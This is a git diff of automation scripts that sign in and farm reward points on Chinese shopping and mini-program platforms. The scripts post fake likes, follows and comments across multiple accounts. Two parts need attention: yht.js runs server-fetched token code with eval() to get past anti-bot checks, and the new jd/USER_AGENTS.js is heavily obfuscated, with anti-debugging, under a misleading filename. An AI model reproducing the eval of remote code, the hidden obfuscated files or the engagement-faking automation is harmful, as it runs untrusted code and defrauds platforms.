'FOCUS_USER') { - await this.followUser(this.posts[0].publisherId) + let _posts = ""; + while (true) { + _posts = this.posts.filter(item => item.concernSign == 1) + if (_posts) { + break + } + await $.wait(2000) + this.pageNum++; + if (this.pageNum > 100) { + + } + await this.getPosts() + } + if (_posts) { + await this.followUser(_posts[0].publisherId) + } else { + + } } if (task.code == 'WANT_GOODS') { - await this.likeGoods() + var good_id = this.goods[1].id; + await this.getGoodDetail(good_id) + await this.likeGoods(this.goodDetail.outerId) } if (task.code == 'SHARE') { await this.share() @@ -172,83 +257,152 @@ class Task { } async postsComments(postsId) { - let options = { - method: 'POST', - url: `https://api.xinc818.com/mini/postsComments`, - headers: { - "Content-Type": "application/json", - }, - data: { "content": "666", "postsId": postsId } - - }; - let { data: result } = await this.request(options); - if (result.code == 0) { - $.log(`✅账号[${this.index}] 【发表评论】成功 获得积分【${result.data.singleReward}】🎉`) + try { + let options = { + method: 'POST', + url: `https://api.xinc818.com/mini/postsComments`, + headers: { + "Content-Type": "application/json", + }, + data: { "content": "👍👍👍👍👍", "postsId": postsId } + + }; + let { data: result } = await this.request(options); + if (result.code == 0) { + $.log(`✅账号[${this.index}] 【发表评论】成功 获得积分【${result.data.taskResult.singleReward}】🎉`) + } + } catch (e) { + $.log(`❎账号[${this.index}] 【发表评论】失败`) } + } async getPosts() { let options = { method: 'GET', - url: `https://api.xinc818.com/mini/community/home/posts?pageNum=1&pageSize=10&queryType=3&position=2`, + url: `https://api.xinc818.com/mini/community/home/posts?pageNum=${this.pageNum}&pageSize=100&queryType=3&position=2`, headers: {} }; let { data: result } = await this.request(options); if (result.code == 0) { this.posts = result.data.list - + // console.log(this.posts) } } - async likePosts() { - //找到posts里面liked为false的 - let posts = this.posts.filter(item => item.liked == false) + async getGoods() { let options = { - method: 'PUT', - url: `https://api.xinc818.com/mini/posts/like`, - headers: { - "Content-Type": "application/json", - }, - data: { "postsId": posts, "decision": true } + method: 'GET', + url: `https://cdn-api.xinc818.com/mini/integralGoods?miniIs=1&orderField=sort&orderScheme=DESC&pageSize=50&pageNum=1`, + headers: {} }; - let { data: result } = await this.request(options); if (result.code == 0) { - console.log(result); - - $.log(`✅账号[${this.index}] 【点赞帖子】成功 获得积分【${result.data.singleReward}】🎉`) + this.goods = result.data.list } } - async followUser(postsId) { + async getGoodDetail(id) { let options = { - method: 'PUT', - url: `https://api.xinc818.com/mini/user/follow`, - headers: { - "Content-Type": "application/json", - }, - data: { "postsId": postsId, "decision": true } + method: 'GET', + url: `https://api.xinc818.com/mini/integralGoods/${id}`, + headers: {} }; let { data: result } = await this.request(options); if (result.code == 0) { - $.log(`✅账号[${this.index}] 【关注用户】成功 获得积分【${result.data.singleReward}】🎉`) + //用户商品详情的outerId点赞商品 + this.goodDetail = result.data } } - async likeGoods(goodsId) { - let options = { - method: 'POST', - url: `https://api.xinc818.com/mini/live/likeLiveItem`, - headers: { - "Content-Type": "application/json", - }, - data: { "isLike": true, "dailyTaskId": 20, "productId": "" + goodsId } - }; - let { data: result } = await this.request(options); - if (result.code == 0) { - $.log(`✅账号[${this.index}] 【点赞商品】成功 获得积分【${result.data.singleReward}】🎉`) + async likePosts() { + //找到posts里面liked为false的 + try { + let posts = this.posts.filter(item => item.liked == false) + let options = { + method: 'PUT', + url: `https://api.xinc818.com/mini/posts/like`, + headers: { + "Content-Type": "application/json", + }, + data: { "postsId": posts[0].id, "decision": true } + + }; + + let { data: result } = await this.request(options); + if (result.code == 0) { + // console.log(result); + $.log(`✅账号[${this.index}] 【点赞帖子】成功 获得积分【${result.data.singleReward}】🎉`) + } else { + $.log(`❎账号[${this.index}] 【点赞帖子】失败,原因【${result.msg}】🎉`) + } + } catch (err) { + $.log(`❎账号[${this.index}] 【点赞帖子】失败:${err}`) + } + } + + async followUser(publisherId, decision = true) { + try { + let options = { + method: 'PUT', + url: `https://api.xinc818.com/mini/user/follow`, + headers: { + "Content-Type": "application/json", + }, + data: { "followUserId": publisherId, "decision": decision } + + }; + let { data: result } = await this.request(options); + // console.log(result) + if (result.code == 0) { + if (decision) { + $.log(`✅账号[${this.index}] 【关注用户】成功 获得积分【${result.data.singleReward}】🎉`) + //await $.wait(3000) + //await this.followUser(publisherId, false) + } else { + $.log(`✅账号[${this.index}] 【取消关注用户】成功 `) + } + } else { + $.log(`❎账号[${this.index}] 【关注用户】失败,原因【${result.msg}】🎉`) + if (result.msg.match("重复")) { + + //await this.followUser(publisherId, false) + } + } + } catch (err) { + $.log(`❎账号[${this.index}] 【关注用户】失败:${err}`) + } + } + async likeGoods(goodsId = "210000904376", isLike = true) { + try { + let options = { + method: 'POST', + url: `https://api.xinc818.com/mini/live/likeLiveItem`, + headers: { + "Content-Type": "application/json", + }, + data: { "isLike": isLike, "dailyTaskId": 20, "productId": goodsId } + + }; + // console.log(options) + let { data: result } = await this.request(options); + // console.log(result) + if (result.code == 0) { + if (isLike) { + $.log(`✅账号[${this.index}] 【点赞商品】成功 获得积分【${result.data.singleReward}】🎉`) + await $.wait(3000) + await this.likeGoods(goodsId, false) + } else { + $.log(`✅账号[${this.index}] 【点赞商品】取消成功🎉`) + } + + } else { + $.log(`❎账号[${this.index}] 【点赞商品】失败,原因【${result.msg}】🎉`) + } + } catch (err) { + $.log(`❎账号[${this.index}] 【点赞商品】失败:${err}`) } } @@ -266,19 +420,19 @@ class Task { .finally(() => $.done()); async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } } diff --git a/daily/ydyp.js b/daily/ydyp.js index 6339ae55..81263fea 100644 --- a/daily/ydyp.js +++ b/daily/ydyp.js @@ -3791,10 +3791,13 @@ const $t = "https://caiyun.feixin.10086.cn/market/signin/page/info?client=app", function Ft(e) { return { getSigninStatus: async function() { + // 该接口已被移动云盘下线(返回 404)。容错处理:不让 HTTP 错误抛出中断整个账号流程, + // 否则 404 会以 AxiosError 冒泡,导致后续签到/任务全部无法执行(issue #288)。 return e.requestJson({ url: $t, method: "get", - headers: e.jwtHeaders + headers: e.jwtHeaders, + throwHttpErrors: !1 }) }, doSignin: async function() { @@ -4093,7 +4096,11 @@ class Ut { async signinStatus() { await this.sleep(); const e = await this.api.getSigninStatus(); - if ("success" !== e?.msg) return void this.log(`签到状态查询失败: ${e?.msg||"未知错误"}`); + if ("success" !== e?.msg) { + this.log(`签到状态查询接口已失效(服务端 404,需重新抓包更新),跳过状态判断直接尝试签到`); + const r = await this.api.doSignin(); + return void this.log("success" === r?.msg ? "签到完成(未经状态校验)" : `签到失败: ${r?.msg||"未知错误"}`) + } if (e.result?.todaySignIn) return void this.log("今日已签到"); const t = await this.api.doSignin(); this.log("success" === t?.msg ? "签到成功" : `签到失败: ${t?.msg||"未知错误"}`) diff --git a/daily/yht.js b/daily/yht.js index 83833973..d3f9caa7 100644 --- a/daily/yht.js +++ b/daily/yht.js @@ -5,18 +5,17 @@ @Description: @cron: 30 8 * * * ------------------------------------------ - +益禾堂 qm-user-token ------------------------------------------ */ - +window = {} const { Env } = require("../tools/env") -const $ = new Env("babycare"); -let ckName = `babycare`; +const $ = new Env("益禾堂"); +let ckName = `yht`; const strSplitor = "#"; - const axios = require("axios"); const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" @@ -26,12 +25,18 @@ class Task { this.index = $.userIdx++ this.user = env.split(strSplitor); this.token = this.user[0]; + this.activityUrl = '' } async run() { await this.getLoginUrl() + + await this.getActivityToken() + let key = await this.getActivityKey() + await this.doSign(key) + } async getLoginUrl() { let options = { @@ -70,8 +75,8 @@ class Task { let { data: result } = await axios.request(options); - console.log(result); if (result.data && result.status) { + this.activityUrl = result.data return result.data } @@ -107,8 +112,98 @@ class Task { } + async getActivityKey() { + let options = { + method: 'POST', + url: `https://86019-activity.dexfu.cn/chw/ctoken/getToken`, + headers: { + 'Content-type': 'application/x-www-form-urlencoded', + 'Cookie': this.session, + }, + data: { + timestamp: Date.now(), + + } + } + let { + data: result + } = await axios.request(options); + if (result.success) { + // 自动修复:将旧式八进制 (如 0123) 替换为现代写法 (0o123) + // 匹配以 0 开头后面跟数字,且不含 x (十六进制) 或 b (二进制) 的部分 + const fixedCode = result.token.replace(/\b0([0-7]+)\b/g, '0o$1'); + eval(fixedCode) + return window['620fa72t'] + + } + } + async doSign(key) { + let data = ({ + 'signOperatingId': '326649747164581', + 'token': '' + key + }); + + let options = { + method: 'POST', + url: 'https://86019-activity.dexfu.cn/sign/component/doSign?_=' + Date.now(), + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249', + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + 'origin': 'https://86019-activity.dexfu.cn', + 'sec-fetch-site': 'same-origin', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://86019-activity.dexfu.cn/sign/component/page?signOperatingId=326649747164581', + 'accept-language': 'zh-CN,zh;q=0.9', + 'Cookie': this.session + }, + data: data + }; + let { + data: result + } = await axios.request(options); + console.log(result); + + /*if (result.success) { + $.log(`✅ 签到成功!获得${result.data.signResult}积分`) + }*/ + + } + /** +* 通用 eval 混淆解密函数(动态执行劫持) +* @param {string} obfuscatedCode - 原始的混淆代码 +* @returns {string} - 解密后的真实代码 +*/ + decryptByHookingEval(obfuscatedCode) { + let decryptedCode = ""; + + // 1. 备份系统原生的 eval + const originalEval = globalThis.eval; + + try { + // 2. 劫持全局 eval 函数 + globalThis.eval = function (payload) { + decryptedCode = payload; // 将解密后的字符串保存下来 + // 重要:不往下执行原生的 eval,从而阻止危险/恶意代码实际运行 + }; + + // 3. 构造一个沙箱函数并执行混淆代码的外壳 + // 外壳代码会执行所有的解密运算,并最终调用我们上面劫持的 eval() + const runner = new Function(obfuscatedCode); + runner(); + + } catch (error) { + console.error("执行解密外壳时发生错误:", error); + } finally { + // 4. 无论成功与否,务必恢复系统的 eval,避免影响其他正常业务 + globalThis.eval = originalEval; + } + + return decryptedCode || "未能拦截到 eval 调用,可能代码结构不适用此方法。"; + } diff --git a/daily/zbs.js b/daily/zbs.js deleted file mode 100644 index 1b9b90f6..00000000 --- a/daily/zbs.js +++ /dev/null @@ -1,132 +0,0 @@ -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: 植白说小程序 -cron: 30 8 * * * ------------------------------------------- -#Notice: -变量名称:zbs -值抓取https://www.kozbs.com/demo 请求头x-dts-token - -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const { Env } = require("../tools/env") -const $ = new Env("植白说小程序"); -let ckName = `zbs`; -const strSplitor = "#"; -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - - -class Task { - constructor(env) { - this.index = $.userIdx++ - this.user = env.split(strSplitor); - this.token = this.user[0]; - - } - request(options) { - let baseHeraders = { - - "accept": "*/*", - "accept-language": "zh-CN,zh;q=0.9", - "content-type": "application/json", - "priority": "u=1, i", - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - "sec-fetch-site": "cross-site", - "x-dts-token": "" + this.token, - "xweb_xhr": "1", - - "User-Agent": defaultUserAgent, - } - options.headers = Object.assign(baseHeraders, options.headers) - return axios.request(options) - } - async run() { - - await this.signIn() - } - - async signIn() { - let options = { - method: 'GET', - url: "https://www.kozbs.com/demo/wx/home/sign?userId=", - headers: {}, - - }; - let { data: result } = await this.request(options); - if (result?.errno == '0') { - //打印签到结果 - $.log(`🌸账号[${this.index}]` + `签到成功🎉`); - } else { - $.log(`🌸账号[${this.index}] 签到-失败:${result.errmsg}❌`) - } - - - - - } - async getPoints() { - let options = { - method: 'GET', - url: "https://www.kozbs.com/demo/wx/user/getUserIntegral?userId=", - headers: {}, - - }; - let { data: result } = await this.request(options); - if (result?.errno == '0') { - //打印签到结果 - $.log(`🌸账号[${this.index}]` + `当前积分` + `${result.data.integer}🎉`); - } else { - $.log(`🌸账号[${this.index}] 获取积分-失败:${result.errmsg}❌`) - } - } - - - - - - - - -} - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); - } -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} - -} diff --git a/jd/USER_AGENTS.js b/jd/USER_AGENTS.js new file mode 100644 index 00000000..e11167e5 --- /dev/null +++ b/jd/USER_AGENTS.js @@ -0,0 +1 @@ +function _0x47e4cd(_0x10241e,_0x329822){const _0x5d3fe7={_0x110c8e:'\x30\x78\x32\x34\x34'};return _0x10c6(_0x329822-_0x5d3fe7._0x110c8e,_0x10241e);}(function(_0x495548,_0x2fb37d){const _0x4b724d={_0x43219b:'\x51\x55\x28\x62',_0xd51df0:'\x30\x78\x32\x30\x38',_0x4f1daf:'\x4c\x5e\x38\x2a',_0x5d60e1:'\x30\x78\x62\x38',_0x419519:'\x35\x75\x55\x44',_0x593f3a:'\x30\x78\x31\x35\x61',_0x208cf0:'\x30\x78\x31\x38\x64',_0x4f33df:'\x72\x4e\x47\x61',_0x4078ca:'\x44\x6e\x6d\x56',_0xe9b40b:'\x30\x78\x31\x32\x35',_0x1bbe20:'\x6d\x25\x37\x5e',_0x204ca4:'\x30\x78\x64\x31',_0x389845:'\x6e\x39\x30\x35',_0x164613:'\x30\x78\x62\x35',_0x216037:'\x37\x65\x49\x73',_0x350b4e:'\x30\x78\x31\x36\x30',_0xd93af4:'\x30\x78\x32\x37\x64',_0x564903:'\x30\x78\x32\x35\x65',_0xdc4941:'\x25\x65\x51\x5a',_0x5ad6c8:'\x30\x78\x31\x30\x64',_0x3e4ef1:'\x30\x78\x31\x61\x64',_0xaa1e2f:'\x57\x38\x52\x55'},_0x2885da={_0x8419c9:'\x30\x78\x32\x63\x62'},_0x4cd7ab={_0x3dff49:'\x30\x78\x33\x61\x63'},_0x4efbeb={_0x5877f4:'\x30\x78\x33\x62\x33'};function _0x4fb7d5(_0x49b24f,_0x51f69b){return _0x10c6(_0x51f69b- -_0x4efbeb._0x5877f4,_0x49b24f);}const _0x35c711=_0x495548();function _0x54a9c1(_0x1b9727,_0x41d18e){return _0x10c6(_0x1b9727- -_0x4cd7ab._0x3dff49,_0x41d18e);}function _0xef45ef(_0x33868e,_0x3af1c8){return _0x10c6(_0x3af1c8- -_0x2885da._0x8419c9,_0x33868e);}while(!![]){try{const _0xf15f65=-parseInt(_0x4fb7d5(_0x4b724d._0x43219b,-_0x4b724d._0xd51df0))/(0x1941+-0x1f+-0x1921)*(-parseInt(_0xef45ef(_0x4b724d._0x4f1daf,-_0x4b724d._0x5d60e1))/(-0x1c6d*0x1+-0x974+0x25e3))+-parseInt(_0xef45ef(_0x4b724d._0x419519,-_0x4b724d._0x593f3a))/(0x1*-0x1a16+-0x2af*0xa+0x34ef)*(parseInt(_0x54a9c1(-_0x4b724d._0x208cf0,_0x4b724d._0x4f33df))/(-0x6c3*0x5+0xb94+0x163f))+-parseInt(_0xef45ef(_0x4b724d._0x4078ca,-_0x4b724d._0xe9b40b))/(0x6*-0x107+-0x1a6a+0x5*0x685)+-parseInt(_0xef45ef(_0x4b724d._0x1bbe20,-_0x4b724d._0x204ca4))/(-0x7c1+0x27*-0x6b+0x1814)*(parseInt(_0xef45ef(_0x4b724d._0x389845,-_0x4b724d._0x164613))/(-0x1390+-0xa38+0xd*0x24b))+-parseInt(_0xef45ef(_0x4b724d._0x216037,-_0x4b724d._0x350b4e))/(0x24*0x18+0x5d9*0x3+-0x14e3*0x1)*(parseInt(_0x4fb7d5(_0x4b724d._0x4f1daf,-_0x4b724d._0xd93af4))/(0x1c07*-0x1+0x10ea+0xb26))+-parseInt(_0x54a9c1(-_0x4b724d._0x564903,_0x4b724d._0xdc4941))/(-0x255b+0x6d*0x35+0xd*0x124)*(-parseInt(_0xef45ef(_0x4b724d._0x4078ca,-_0x4b724d._0x5ad6c8))/(0x3cb*-0x6+-0x2453+-0x4*-0xec8))+parseInt(_0x54a9c1(-_0x4b724d._0x3e4ef1,_0x4b724d._0xaa1e2f))/(-0x1d4*0x15+-0x1042+0x36b2);if(_0xf15f65===_0x2fb37d)break;else _0x35c711['push'](_0x35c711['shift']());}catch(_0x42491f){_0x35c711['push'](_0x35c711['shift']());}}}(_0x5a95,0x3db22+0x45e9b*-0x1+0x1*0x8e019));function _0x3f24c4(_0x16f52a){const _0x34a965={_0x46f57b:'\x30\x78\x32\x39\x38',_0x4cc512:'\x4a\x33\x74\x68',_0x2142c3:'\x30\x78\x32\x34\x36',_0x3b0a8d:'\x6a\x33\x37\x61',_0x51e9ca:'\x30\x78\x32\x34\x65',_0x450eee:'\x50\x54\x77\x28',_0x51b217:'\x30\x78\x31\x30',_0x3fa365:'\x56\x51\x77\x69',_0x1934ce:'\x30\x78\x34\x33',_0x5f4504:'\x5e\x41\x33\x63',_0x2fc56a:'\x30\x78\x37\x34',_0x48d0d8:'\x4a\x33\x74\x68',_0xb88cc1:'\x30\x78\x31\x33\x39',_0x94b1b4:'\x6e\x39\x30\x35',_0x3d6df4:'\x30\x78\x33\x61',_0x23df53:'\x24\x70\x4f\x42',_0x170a89:'\x30\x78\x32\x36',_0x5bb633:'\x6e\x39\x30\x35',_0x31c4f5:'\x30\x78\x31\x66\x36',_0x2df266:'\x48\x62\x6f\x36',_0x62e464:'\x30\x78\x31\x34\x33',_0x4edc0d:'\x4f\x35\x26\x53',_0x2a503e:'\x30\x78\x31\x35\x65'},_0x120534={_0x391c06:'\x30\x78\x33\x64\x35'},_0x2f16ea={_0x205ae5:'\x30\x78\x31\x36\x36'},_0x38f975={_0xe1a296:'\x30\x78\x33\x30\x30'},_0x2e6d02={};function _0x36edad(_0x3a7bb7,_0x454589){return _0x10c6(_0x3a7bb7- -_0x38f975._0xe1a296,_0x454589);}_0x2e6d02[_0x185d61(-_0x34a965._0x46f57b,_0x34a965._0x4cc512)]=function(_0x3b6742,_0x4815d7){return _0x3b6742<_0x4815d7;},_0x2e6d02[_0x185d61(-_0x34a965._0x2142c3,_0x34a965._0x3b0a8d)]=function(_0x17a215,_0x2ba215){return _0x17a215===_0x2ba215;},_0x2e6d02[_0x185d61(-_0x34a965._0x51e9ca,_0x34a965._0x450eee)]=function(_0x355a70,_0x246aaf){return _0x355a70*_0x246aaf;};const _0x12bfe5=_0x2e6d02;function _0x1dd075(_0x3c547e,_0x1bc5ad){return _0x10c6(_0x3c547e- -_0x2f16ea._0x205ae5,_0x1bc5ad);}let _0x457ae9=_0x1dd075(-_0x34a965._0x51b217,_0x34a965._0x3fa365),_0x89b519='';function _0x185d61(_0x17b9c4,_0x319f0e){return _0x10c6(_0x17b9c4- -_0x120534._0x391c06,_0x319f0e);}for(let _0x20a762=0x2*-0xe0+0x1600+0x240*-0x9;_0x12bfe5[_0x1dd075(_0x34a965._0x1934ce,_0x34a965._0x5f4504)](_0x20a762,_0x16f52a);_0x20a762++){_0x12bfe5[_0x1dd075(_0x34a965._0x2fc56a,_0x34a965._0x48d0d8)](_0x36edad(-_0x34a965._0xb88cc1,_0x34a965._0x94b1b4),_0x1dd075(-_0x34a965._0x3d6df4,_0x34a965._0x23df53))?_0x89b519+=_0x457ae9[Math[_0x1dd075(-_0x34a965._0x170a89,_0x34a965._0x5bb633)](_0x12bfe5[_0x185d61(-_0x34a965._0x31c4f5,_0x34a965._0x2df266)](-0x59a32f6+-0xbd65607+0x43*0x5968bf,Math[_0x36edad(-_0x34a965._0x62e464,_0x34a965._0x4edc0d)]()))%_0x457ae9[_0x36edad(-_0x34a965._0x2a503e,_0x34a965._0x94b1b4)]]:_0xfc6a9(-0x146+-0x61*-0x4a+0x2*-0xd62);}return _0x89b519;}function _0x236b64(_0x34cab0,_0x444f12){const _0x160464={_0xa7a012:'\x36\x78\x57\x68',_0x2983df:'\x30\x78\x34\x31\x39',_0x44f1df:'\x2a\x41\x5e\x4c',_0xe4392b:'\x30\x78\x34\x64\x34',_0x51b1e4:'\x57\x38\x52\x55',_0x58e7cb:'\x30\x78\x33\x66\x35',_0x5c3f58:'\x30\x78\x35\x36\x64',_0x438595:'\x6d\x6b\x66\x25',_0x1df552:'\x30\x78\x35\x39\x34',_0x26ada7:'\x61\x41\x4b\x7a',_0x5400bd:'\x63\x5e\x6f\x66',_0x33af7b:'\x30\x78\x33\x65\x62',_0x4c1103:'\x4f\x6a\x4f\x69',_0x289d78:'\x30\x78\x35\x34\x32',_0xfc5d8d:'\x30\x78\x35\x64\x37',_0x33143b:'\x52\x63\x7a\x4e',_0x24827a:'\x30\x78\x35\x33\x36',_0x2cec7d:'\x38\x21\x36\x6d',_0x599db0:'\x37\x65\x49\x73',_0x6276ab:'\x30\x78\x35\x31\x39',_0x3f2812:'\x6d\x25\x37\x5e',_0xf973ff:'\x30\x78\x35\x30\x30',_0x5e7af4:'\x30\x78\x35\x39\x30',_0x6dfe32:'\x4f\x6a\x4f\x69',_0x296476:'\x23\x45\x39\x48',_0xce340a:'\x30\x78\x34\x30\x33',_0x30a9be:'\x30\x78\x33\x65\x64',_0x3c44f3:'\x30\x78\x35\x36\x31',_0x4bca75:'\x6f\x67\x30\x57',_0x3d55b8:'\x52\x63\x7a\x4e',_0xdc1f66:'\x30\x78\x34\x35\x35',_0x491ba3:'\x30\x78\x33\x63\x65',_0x334758:'\x25\x65\x51\x5a',_0x3a3b7e:'\x30\x78\x34\x63\x37',_0x36ca76:'\x6e\x39\x30\x35',_0x58d41e:'\x30\x78\x34\x37\x36',_0x146e2e:'\x30\x78\x35\x37\x65',_0x5b7452:'\x6e\x39\x30\x35',_0xe35565:'\x30\x78\x35\x38\x37',_0x7cd0a2:'\x72\x4e\x47\x61',_0x4e0159:'\x30\x78\x35\x65\x64',_0x2675b4:'\x30\x78\x33\x63\x33'},_0xead2a0={_0x34a751:'\x30\x78\x33\x64\x62'},_0x5e7cc5={_0x4dc37f:'\x30\x78\x32\x38\x62'},_0x50a52f={_0x5106d5:'\x30\x78\x33\x30\x38'};function _0x15f8f6(_0x32137a,_0x4fc402){return _0x10c6(_0x4fc402-_0x50a52f._0x5106d5,_0x32137a);}function _0x45b15a(_0x43d6b9,_0xf13fac){return _0x10c6(_0xf13fac-_0x5e7cc5._0x4dc37f,_0x43d6b9);}const _0x332059={'\x4e\x43\x79\x4f\x7a':_0x45b15a(_0x160464._0xa7a012,_0x160464._0x2983df),'\x72\x45\x41\x63\x78':_0x15f8f6(_0x160464._0x44f1df,_0x160464._0xe4392b),'\x75\x48\x7a\x47\x4c':function(_0x403a20,_0x4fffcb){return _0x403a20(_0x4fffcb);},'\x6a\x42\x77\x54\x78':function(_0x40aadc,_0xa07f79){return _0x40aadc!==_0xa07f79;},'\x54\x63\x75\x51\x68':_0x45b15a(_0x160464._0x51b1e4,_0x160464._0x58e7cb),'\x59\x78\x79\x69\x4e':_0x3d2f98(_0x160464._0x5c3f58,_0x160464._0x438595),'\x61\x7a\x47\x53\x65':function(_0x502ba2,_0x270d8b){return _0x502ba2*_0x270d8b;}};let _0x433350=new Array();function _0x3d2f98(_0x4fb9dc,_0x34d19f){return _0x10c6(_0x4fb9dc-_0xead2a0._0x34a751,_0x34d19f);}for(let _0x52f677 in _0x34cab0){_0x433350[_0x3d2f98(_0x160464._0x1df552,_0x160464._0x26ada7)](_0x34cab0[_0x52f677]);}let _0x1ecefb=new Array();for(let _0x3368d3=-0x6f4+0x1*-0x2529+-0x17*-0x1eb;_0x3368d3<_0x444f12;_0x3368d3++){if(_0x332059[_0x45b15a(_0x160464._0x5400bd,_0x160464._0x33af7b)](_0x15f8f6(_0x160464._0x4c1103,_0x160464._0x289d78),_0x3d2f98(_0x160464._0xfc5d8d,_0x160464._0x33143b)))(function(){return![];}[_0x3d2f98(_0x160464._0x24827a,_0x160464._0x2cec7d)](qMQFlf[_0x15f8f6(_0x160464._0x599db0,_0x160464._0x6276ab)]+qMQFlf[_0x15f8f6(_0x160464._0x3f2812,_0x160464._0xf973ff)])[_0x3d2f98(_0x160464._0x5e7af4,_0x160464._0x6dfe32)](_0x45b15a(_0x160464._0x296476,_0x160464._0xce340a)));else{if(_0x433350[_0x45b15a(_0x160464._0x33143b,_0x160464._0x30a9be)]>0x979+0x131d+-0x1c96){if(_0x332059[_0x3d2f98(_0x160464._0x3c44f3,_0x160464._0x4bca75)](_0x332059[_0x15f8f6(_0x160464._0x3d55b8,_0x160464._0xdc1f66)],_0x332059[_0x45b15a(_0x160464._0x44f1df,_0x160464._0x491ba3)])){let _0x455ec8=Math[_0x45b15a(_0x160464._0x334758,_0x160464._0x3a3b7e)](_0x332059[_0x15f8f6(_0x160464._0x36ca76,_0x160464._0x58d41e)](Math[_0x3d2f98(_0x160464._0x146e2e,_0x160464._0x5b7452)](),_0x433350[_0x3d2f98(_0x160464._0xe35565,_0x160464._0x7cd0a2)]));_0x1ecefb[_0x3368d3]=_0x433350[_0x455ec8],_0x433350[_0x3d2f98(_0x160464._0x4e0159,_0x160464._0x599db0)](_0x455ec8,-0x35*0x9+0x18c2*0x1+-0x16e4);}else{if(_0x238f85)return _0x4ac5fa;else qMQFlf[_0x45b15a(_0x160464._0x6dfe32,_0x160464._0x2675b4)](_0x5d9f8a,0x24f+-0x1b*0xd8+0x1479);}}else break;}}return _0x1ecefb;}function _0x500aa6(_0x54ebea,_0x57aa70){const _0x167fef={_0x43a2e5:'\x30\x78\x32\x66\x36'};return _0x10c6(_0x57aa70- -_0x167fef._0x43a2e5,_0x54ebea);}function _0x35e528(_0x5982ce){const _0x1765fd={_0x1c5b18:'\x30\x78\x35\x32\x64',_0x1d569b:'\x24\x70\x4f\x42',_0x18b08e:'\x30\x78\x32\x64\x35',_0x3dd42c:'\x59\x5d\x78\x61',_0xd14d1d:'\x24\x68\x54\x5a',_0x40ac06:'\x30\x78\x63\x63',_0x562eb7:'\x41\x73\x66\x68',_0x4f7440:'\x30\x78\x64\x66',_0x300889:'\x30\x78\x35\x33\x35',_0xb4fa76:'\x36\x78\x57\x68',_0x266c5a:'\x30\x78\x35\x35\x33',_0x1c3e3e:'\x38\x21\x36\x6d',_0x4e84af:'\x30\x78\x34\x64\x66',_0x2ec233:'\x38\x21\x36\x6d',_0x2a9cc5:'\x30\x78\x35\x66\x30',_0x2cf7a5:'\x40\x32\x7a\x4e',_0x16262b:'\x30\x78\x35\x66\x35',_0x4c792f:'\x6d\x6b\x66\x25',_0xfe469b:'\x30\x78\x31\x37\x35',_0x317fb0:'\x30\x78\x35\x65\x64',_0x19e2c1:'\x30\x78\x35\x30\x66',_0x275dc7:'\x5e\x41\x33\x63',_0x6be849:'\x30\x78\x35\x65\x39',_0x5da0c9:'\x6d\x6b\x66\x25',_0xb38bf7:'\x23\x45\x39\x48',_0x2df53c:'\x30\x78\x63\x66',_0x10cb12:'\x30\x78\x33\x63\x37',_0x34da73:'\x67\x49\x61\x57',_0x5d226d:'\x6d\x6b\x66\x25',_0x127db1:'\x30\x78\x65\x65',_0x4fc8e2:'\x30\x78\x33\x37\x39',_0x354bc6:'\x29\x46\x4f\x71',_0x26bde8:'\x30\x78\x33\x30\x35',_0x30e256:'\x37\x65\x49\x73',_0x2dd295:'\x64\x49\x4a\x23',_0x25872b:'\x30\x78\x31\x38\x66',_0x49a83a:'\x24\x70\x4f\x42',_0x52df82:'\x30\x78\x31\x34\x31',_0x55d654:'\x30\x78\x35\x61\x31',_0x20a312:'\x65\x4a\x42\x6f',_0xad8783:'\x30\x78\x35\x37\x37',_0x2ba73c:'\x61\x41\x4b\x7a',_0x155ec1:'\x30\x78\x33\x62\x31',_0x27b813:'\x6f\x67\x30\x57',_0x1a4ab9:'\x30\x78\x33\x30\x65',_0x551c7f:'\x30\x78\x33\x35\x39',_0x5a